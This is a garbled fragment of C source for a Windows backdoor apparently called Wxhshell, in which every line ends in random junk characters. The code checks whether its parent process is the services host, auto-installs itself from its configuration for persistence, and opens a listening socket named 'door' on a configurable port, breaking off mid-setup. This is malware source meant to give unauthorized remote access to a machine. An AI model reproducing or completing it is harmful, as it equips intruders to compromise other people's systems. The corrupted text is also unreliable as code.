ULONG InheritedFromUniqueProcessId; 8!b#ez
} PROCESS_BASIC_INFORMATION; MHI0>QsI
~BrERUk
PROCNTQSIP NtQueryInformationProcess; c/x ^I{b*
t$]lK6
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |M)'@s:
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BtVuI5*h
5mnIQ~psR
HANDLE hProcess; E2LpQNvN%g
PROCESS_BASIC_INFORMATION pbi; ]hS4'9lD
?bmP<(N5/
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T.`E DluG
if(NULL == hInst ) return 0; .N5}JUj
5``/exG>
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,Tvk&<!0
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Dx 4?6
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *-3K],^a
}/SbmW8(1
if (!NtQueryInformationProcess) return 0; a7%5Qg9B;
nP0|nPWz#
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O<Ht-TN&
if(!hProcess) return 0; ou6yi;
l%
@4sv(HyDY
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (05/}PhB`
+]Po!bN@@
CloseHandle(hProcess); {"Van,w
QyJ}zwD
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ucL}fnY1
if(hProcess==NULL) return 0; .,o=#
J5*krH2i
HMODULE hMod; ;R@zf1UYA
char procName[255]; rNO'0Ck=
unsigned long cbNeeded; *6df|q
yS@c2I602
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q$(aMO&J
k9~NIvnB`
CloseHandle(hProcess); !L2R0Y:a
L1VUfEG-
if(strstr(procName,"services")) return 1; // 以服务启动 Ha[Bf*
brl(7_2
return 0; // 注册表启动 PL@hsZty~c
} CJz2.yd
8uP,#D<wZ
// 主模块 /$|C s
int StartWxhshell(LPSTR lpCmdLine) 4;<?ec(dc
{ W.r0W2))(
SOCKET wsl; <ZSH1~<{6
BOOL val=TRUE; V\W?@V9g-
int port=0; Xjw>Qws
struct sockaddr_in door; d/v{I
SGXXv
if(wscfg.ws_autoins) Install(); f<=<:+
S*Qip,u
port=atoi(lpCmdLine); %\6|fKB4<
:rk=(=@8`
if(port<=0) port=wscfg.ws_port; fINF;TK
qg7.E+
WSADATA data; ZNuz%VO
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -+Axa[,5=
9y{[@KG
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; =3]}87
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F=7X,hK
door.sin_family = AF_INET; 6NPCp/
door.sin_addr.s_addr = inet_addr("127.0.0.1"); MCZTeYnx
door.sin_port = htons(port); !g
#
<1YINkRz
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :1^
R$0d
closesocket(wsl); $A;jl`ng
return 1; UOJx-o!c?
} B8F.}M-!
|L}zB,
if(listen(wsl,2) == INVALID_SOCKET) {
[<